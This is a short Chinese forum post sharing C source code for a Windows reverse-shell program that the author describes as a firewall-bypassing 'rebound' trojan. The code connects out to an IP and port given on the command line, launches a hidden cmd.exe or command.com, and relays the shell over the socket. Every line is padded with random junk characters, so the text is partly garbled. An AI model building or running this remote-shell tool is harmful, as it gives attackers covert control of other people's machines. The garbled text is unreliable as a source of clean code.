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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 [Y22Wi  
=|E 09  
/* ============================== %wt2F-u  
Rebound port in Windows NT i5 L:L  
By wind,2006/7 Hz]4AS  
===============================*/ !f\?c7  
#include Gpdv]SON{  
#include dNUR)X#e  
$bZu^d,  
#pragma comment(lib,"wsock32.lib") *|LbbRu  
E[jXUOu-  
void OutputShell(); 6.U  "_%  
SOCKET sClient; )@Zc?Da  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; /`+Hw dk  
~5r=FF6  
void main(int argc,char **argv) I(OAEIz  
{ <H5n>3#pH  
WSADATA stWsaData; aFRTNu/r  
int nRet; 9Qzjqq:"Li  
SOCKADDR_IN stSaiClient,stSaiServer; qnq%mwDeD  
mW~i c  
if(argc != 3) y@o9~?M  
{ QFW0KD`5  
printf("Useage:\n\rRebound DestIP DestPort\n"); ; .ysCF  
return; Pgn_9Y?<  
} \}$*}gW[}  
RDs,sj/Y9?  
WSAStartup(MAKEWORD(2,2),&stWsaData); Jo{ zy  
mb0n}I_AC  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Ky[bX  
T!l mO?Q  
stSaiClient.sin_family = AF_INET; [3j$ 4rP  
stSaiClient.sin_port = htons(0); Lw>-7)  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); F8{ldzh  
M`0(!Q}  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 0LWdJ($?  
{ j|VXC(6 P,  
printf("Bind Socket Failed!\n"); 81g9ZV(4  
return; n$.1Wk"  
} gB]C&Q  
g!1I21M1~  
stSaiServer.sin_family = AF_INET; \f(Y:}9  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); C(-[ Y!  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); ?SC3Vzr  
uu}a:qrY  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) m_Mwg  
{ Z0e-W:&;kF  
printf("Connect Error!"); O6yP qG*j  
return; 2B HKS-J*  
} W1xf2=z`)T  
OutputShell(); i{gDW+N  
} 7w "sJ  
f5@.^hi[  
void OutputShell() 89zuL18V  
{ OuB2 x=B  
char szBuff[1024]; h ZoC _\  
SECURITY_ATTRIBUTES stSecurityAttributes; g-."sniP$g  
OSVERSIONINFO stOsversionInfo; |/@0~O(6  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; xN6?yr  
STARTUPINFO stStartupInfo; a*Rz<08  
char *szShell; B-!guf rnY  
PROCESS_INFORMATION stProcessInformation; 8NnhT E  
unsigned long lBytesRead; z>6.[Z(T  
xM&EL>m>L  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); 1'NhjL  
o g_Ri$x8  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); RNGO~:k?r  
stSecurityAttributes.lpSecurityDescriptor = 0; P,(9cyS{  
stSecurityAttributes.bInheritHandle = TRUE; ~\2;i]|  
aT&t_^[]   
GF&_~48GD  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); _zdNLwE[  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); S#,+Z7  
F y b[{"  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); $h,d? .u6w  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ZQ|5W6c  
stStartupInfo.wShowWindow = SW_HIDE; 'r~8  
stStartupInfo.hStdInput = hReadPipe; rB,ldy,f  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; >gr<^$  
8Bq-0=E  
GetVersionEx(&stOsversionInfo); 8+9\7*  
TZe+<~4*i%  
switch(stOsversionInfo.dwPlatformId) wY/bA}%  
{ d$}&nV/A)  
case 1: sTiYf  
szShell = "command.com"; veV_be{i  
break; oWI!u 5  
default: (}G!np  
szShell = "cmd.exe"; /w0sj`;"  
break; a_Jb> }  
} nh<Z1tMU  
GSP?X$E  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); YNI;h%w  
yx2z%E  
send(sClient,szMsg,77,0); YV-j/U{&  
while(1) 1DUb [W8  
{ q]K'p,'  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); "rsSW 3_  
if(lBytesRead) sMP:sCRC  
{ #00D?nC  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); ^ESUMXb  
send(sClient,szBuff,lBytesRead,0); `g--QR  
} \6{LR&  
else +s ULo  
{ #G[t X6gU  
lBytesRead=recv(sClient,szBuff,1024,0); *#zS^b n  
if(lBytesRead<=0) break; m~;B:LN<  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); CI^[I\$&  
} \0nlPXk?G  
} })P O7:  
>zQOK-  
return; 88+ =F XG  
}
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